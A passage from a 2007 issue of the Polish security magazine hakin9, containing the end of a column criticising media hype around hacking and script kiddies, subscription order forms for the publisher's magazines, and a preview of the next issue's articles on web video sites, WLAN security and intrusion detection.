ciach pożytecznych. Jest to bardzo prosty, ale nie jedyny
taki przykład.
Następnym jest fala entuzjazmu po programie Teraz
my! z udziałem Pawła Jabłońskiego aka Gorion. Faktem
jest, iż Gorion zna się na rzeczy – jednak to, co zrobił,
spotkało się z poważną dezaprobatą ze strony reszty
społeczności. Dodatkowo, rażącym faktem było to, iż
zaprezentowany został PHP shell, o czym oglądają-
cy program widzowie nie zostali poinformowani. Gorion
swoim występem w telewizji rozpoczął kształtowanie się
następnego trendu i warstwy społeczności sieciowej, z
którą częściowo utożsamiają się script kiddies.
W chwili pisania tego felietonu mamy wakacje, czas
wypoczynku – jednak nie dla wszystkich. Ciągle znaj-
dują się osoby, które koniecznie chciałyby zostać hake-
rami. Wszystko to przez siłę mediów, która nieustan-
nie drąży temat bezpieczeństwa sieciowego i hackingu.
Zupełnie nie wiem dlaczego. Przecież zainteresowany
poszuka w Internecie. Nie trzeba na ten temat trąbić
i zapraszać coraz to nowych gości. Takie posunięcia
tylko robią dzieciom wodę z mózgu, a Sieci przysparza-
ją nowych kłopotów. l
Patryk Szlagowski patrykuss@haes-squad.net
Tytuł
Ilość numerów
w roku
Ilość zamawianych
prenumerat
Od numeru pisma
lub miesiąca
Opłata w zł
z VAT
hakin9 (1 płyta CD)
Miesięcznik o bezpieczeństwie i hakingu
12
900
Dodatkowy drukowany egzemplarz
12
80
W sumie
(liczba prenumerat x cena)
Formularz zamówienia prenumeraty
Dane osoby / firmy zamawiającej
Imię i nazwisko
Stanowisko
ID kontrahenta*
* jeżeli jesteś już klientem firmy Software-Wydawnictwo Sp. z o.o. – wystarczy, że podasz swój numer ID kontrahenta; jeżeli nie posiadasz takiego numeru, podaj swe dane teleadresowe
Upoważniam firmę Software-Wydawnictwo Sp. z o.o. do wystawienia faktury VAT bez podpisu odbiorcy
Pieczęć firmy i podpis
Nazwa firmy
Dokładny adres
Telefon (wraz z numerem kierunkowym)
Faks (wraz z numerem kierunkowym)
Adres e-mail
Numer NIP firmy
Prosimy wypełnić czytelnie i przesłać faksem na numer:
(22) 887 10 11
lub listownie na adres: Software-Wydawnictwo Sp. z o.o.,
Bokserska 1, 02-682 Warszawa,
e-mail: pren@software.com.pl
Przyjmujemy też zamówienia telefoniczne:
(22) 887 14 44
UWAGA: Nadesłanie zamówienia jest jednocześnie zobowiązaniem do zapłaty.
w w w . b u y i t p r e s s . c o m . p l
Prenumerata korporacyjna hakin9 pozwoli Ci
na dowolne powielenie i rozpowszechnianie pisma
w obrębie Twojej firmy
Numer konta: NORDEA BANK POLSKA 46 1440 1299 0000 0000 0391 8238
W ramach prenumeraty korporacyjnej otrzymają Państwo:
1. Pismo w wersji elektronicznej
2. Dwa dodatkowe egzemplarze w wersji drukowanej
3. CD-ROM zawierający archiwum wszystkich numerów z 2006 roku
Zaprenumeruj swoje ulubione magazyny
i zamów archiwalne numery!
Już teraz w kilka minut możesz zaprenumerować swoje ulubione pismo.
Gwarantujemy:
- preferencyjne ceny
- bezpieczną płatność on-line
- szybką realizację Twojego zamówienia
Bezpieczna prenumerata on-line wszystkich tytułów Wydawnictwa Software!
www.buyitpress.com
zamówienie prenumeraty
Prosimy wypełnić czytelnie i przesłać faksem na numer:
(22) 887 10 11 lub listownie na adres: Software-Wydawnictwo Sp. z o.o.,
Bokserska 1, 02-682 Warszawa, e-mail: pren@software.com.pl. Przyjmujemy też zamówienia telefoniczne:
(22) 887 14 44
Imię i nazwisko............................................................................................ ID kontrahenta..........................................................................................
Nazwa firmy................................................................................................. Numer NIP firmy.......................................................................................
Dokładny adres....................................................................................................................................................................................................................
Telefon (wraz z numerem kierunkowym)................................................... Faks (wraz z numerem kierunkowym) ....................................................
E-mail (niezbędny do wysłania faktury)............................................................................................................................................................................
zamówienie prenumeraty
1
Cena prenumeraty rocznej dla osób prywatnych
2
Cena prenumeraty rocznej dla osób prenumerujących już Software Developer’s Journal lub Linux+
3
Cena prenumeraty dwuletniej Aurox Linux
Jeżeli chcesz zapłacić kartą kredytową, wejdź na
stronę naszego sklepu internetowego:
www.buyitpress.com
automatyczne przedłużenie prenumeraty
Suma
Tytuł
Ilość
numerów
Ilość
zamawianych
prenumerat
Od numeru
pisma lub
miesiąca
Opłata
w zł
z VAT
Software Developer’s Journal (1 płyta CD)
– dawniej Software 2.0
Miesięcznik profesjonalnych programistów
12
250/180
1
SDJ Extra
(od 1 do 4 płyt CD lub DVD)
– dawniej Software 2.0 Extra!
Numery tematyczne dla programistów
6
150/135
2
Linux+DVD (2 płyty DVD)
Miesięcznik o systemie Linux
12
199/179
1
Linux+Extra! (od 1 do 7 płyt CD lub DVD)
Numery specjalne z najpopularniejszymi dystrybucjami Linuksa
8
232/198
2
PHP Solutions (1 płyta CD)
Dwumiesięcznik o zastosowaniach języka PHP
6
135
hakin9, jak się obronić (1 płyta CD)
Miesięcznik o bezpieczeństwie i hakingu
12
199
1
/219
.psd (2 płyty CD)
Dwumiesięcznik użytkowników programu Adobe Photoshop
6
140
.psd numery specjalne
(.psd Extra + .psd Starter Kit)
6
140
Aktualne informacje o najbliższym numerze
http://www.hakin9.org/pl
Numer w sprzedaży na początku listopada 2007 r.
Redakcja zastrzega sobie prawo zmiany zawartości pisma.
hakin9
11/2007
w następnym numerze
między innymi:
Zapowiedzi
Hakowanie video.google.com, itvp.pl
Wraz z nadejściem Web 2.0 trendy stały się strony internetowe pozwalają-
ce na udostępnianie mediów wszystkim użytkownikom. Znakomitym przy-
kładem jest serwis youtube, który dziennie odwiedzają miliony osób. Jedyną
wadą takich portali jest brak możliwości pobierania plików. W poniższym
artykule sprawdzimy, jak skutecznie tego typu strony są zabezpieczone
przed wyciekiem danych.
Bezpieczeństwo w sieci WLAN
Sieci bezprzewodowe Wi-Fi są obecnie bardzo popularną metodą budo-
wania sieci lokalnych. Podjęcie decyzji o wykorzystaniu tej technologii do
potrzeb własnych, jak i firmy czy przedsiębiorstwa powinno jednoznacznie
kojarzyć się z odpowiednim zabezpieczeniem takiej sieci. Należy przy tym
pamiętać, że zabezpieczanie sieci to nie tylko wykonanie podstawowych
czynności konfiguracyjnych, takich jak włączenie odpowiednio silnego szy-
frowania czy uruchomienie ściany przeciwogniowej.
Chwyty bezpieczeństwa. Niekonwencjonalne
metody wykrywania włamań
W dzisiejszych czasach każda firma potrzebuje systemu informatyczne-
go do prawidłowego funkcjonowania. Utrzymanie bezpieczeństwa takiego
systemu jest więc koniecznością. W ostatnich latach zwiększyła się liczba
prób ataków na przeróżne systemy informatyczne, a wszystko to za sprawą
bardzo szybkiego rozwoju technologii informatycznych. Trudno doszukiwać
się przyczyn takiego stanu, zapewne składa się na nie wiele czynników.
NA CD:
• hakin9.live – bootowalna dystrybucja Linuksa,
• mnóstwo narzędzi – niezbędnik hakera,
• tutoriale – praktyczne ćwiczenia zagadnień poruszanych w artykułach,
• dodatkowa dokumentacja,
• pełne wersje komercyjnych aplikacji.
Początki
Atak
Obrona